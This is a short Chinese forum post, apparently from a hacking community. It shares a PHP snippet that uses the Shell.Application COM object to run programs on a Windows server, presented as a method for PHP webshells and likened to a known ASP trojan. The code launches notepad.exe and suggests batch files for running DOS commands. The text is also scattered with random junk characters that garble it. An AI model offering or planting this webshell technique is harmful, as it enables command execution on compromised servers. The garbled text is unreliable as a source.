关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
( A- K( L* ]& ^! a# S+ p4 }" E* e, P, E3 U
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法: Y$ ?5 f" S; Z
( z) l) U6 p) T* G& F/ d/ F# ?<?php
' t) E' Z3 i4 x1 o$wsh = new COM('Shell.Application') or die("Shell.Application");# T: @2 N0 |, l" K
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
$ \3 O8 H3 a. ?2 |8 b( J+ ^ //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
5 s" x6 W. X+ X?>. Q/ E) ]- u ?( ?# W- f
0 m* B1 W" K, s/ Q
xp+APMServ5.2.0测试通过。
$ Q/ x# W# d' m' b |